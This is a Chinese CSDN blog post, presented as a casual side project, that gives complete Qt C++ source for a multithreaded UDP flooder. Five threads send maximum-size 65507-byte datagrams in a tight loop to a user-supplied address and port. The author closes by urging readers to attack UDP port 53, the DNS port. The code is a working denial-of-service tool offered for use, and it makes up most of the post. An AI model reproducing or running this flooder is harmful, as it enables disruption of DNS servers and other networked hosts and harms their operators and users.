没有事情做 随手写的小程序

本文详细介绍了使用Qt创建一个包含多个mythread子类的对话框,每个子线程通过UdpSocket发送数据到指定端口。同时,讨论了如何在按钮点击事件中启动和停止这些线程。文章最后提到了对535353端口可能的攻击行为的警示。
摘要由CSDN通过智能技术生成

Qt  代码包  https://download.csdn.net/download/nn_84/88830445

dialog.h :

#ifndef DIALOG_H
#define DIALOG_H

#include <QDialog>
#include <mythread.h>



QT_BEGIN_NAMESPACE
namespace Ui {
class Dialog;
}
QT_END_NAMESPACE

class Dialog : public QDialog
{
    Q_OBJECT

public:
    Dialog(QWidget *parent = nullptr);
    ~Dialog();
    mythread thread1;
    mythread thread2;
    mythread thread3;
    mythread thread4;
    mythread thread5;
private slots:
    void on_pushButton_1_clicked();

    void on_pushButton_clicked();

private:
    Ui::Dialog *ui;
};
#endif // DIALOG_H

mythread.h  :

#ifndef MYTHREAD_H
#define MYTHREAD_H

#include <QObject>
#include <QThread>
#include <QDebug>
#include <QUdpSocket>
#include <QByteArray>






class mythread : public QThread
{
    Q_OBJECT
public:
    mythread();
    QString name;
    bool boolvalue;
    QByteArray buffer;
    QUdpSocket *socket;

    QString address;
    QString port;

public slots:
    void run ();
};

#endif // MYTHREAD_H

dialog.cpp :

#include "dialog.h"
#include "ui_dialog.h"

Dialog::Dialog(QWidget *parent)
    : QDialog(parent)
    , ui(new Ui::Dialog)
{
    ui->setupUi(this);
    thread1.boolvalue = false;
    thread2.boolvalue = false;
    thread3.boolvalue = false;
    thread4.boolvalue = false;
    thread5.boolvalue = false;
}

Dialog::~Dialog()
{
    delete ui;
}

void Dialog::on_pushButton_1_clicked()
{
    thread1.boolvalue = true;
    thread1.name = "1";
    thread1.address = ui->lineEdit->text();
    thread1.port = ui->lineEdit_2->text();
    thread1.start();

    thread2.boolvalue = true;
    thread2.name = "2";
    thread2.address = ui->lineEdit->text();
    thread2.port = ui->lineEdit_2->text();
    thread2.start();

    thread3.boolvalue = true;
    thread3.name = "3";
    thread3.address = ui->lineEdit->text();
    thread3.port = ui->lineEdit_2->text();
    thread3.start();

    thread4.boolvalue = true;
    thread4.name = "4";
    thread4.address = ui->lineEdit->text();
    thread4.port = ui->lineEdit_2->text();
    thread4.start();

    thread5.boolvalue = true;
    thread5.name = "5";
    thread5.address = ui->lineEdit->text();
    thread5.port = ui->lineEdit_2->text();
    thread5.start();

}


void Dialog::on_pushButton_clicked()
{
    thread1.boolvalue = false;
    thread2.boolvalue = false;
    thread3.boolvalue = false;
    thread4.boolvalue = false;
    thread5.boolvalue = false;
}

mythread.cpp  :

#include "mythread.h"

mythread::mythread()
{
    socket = new QUdpSocket(this);
}


void mythread::run()
{
    for(int i=0;i<65507;i++)
    {
        buffer.append("a");
    }
    while(boolvalue){
        socket->writeDatagram(buffer,QHostAddress(address),port.toInt());
    }
}

.pro  :

QT       += core gui network

greaterThan(QT_MAJOR_VERSION, 4): QT += widgets

CONFIG += c++17

# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0

SOURCES += \
    main.cpp \
    dialog.cpp \
    mythread.cpp

HEADERS += \
    dialog.h \
    mythread.h

FORMS += \
    dialog.ui

# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target

嘿 大家知道 攻击哪个端口吗  53 53 53 记住 udp 53端口  

  • 9
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值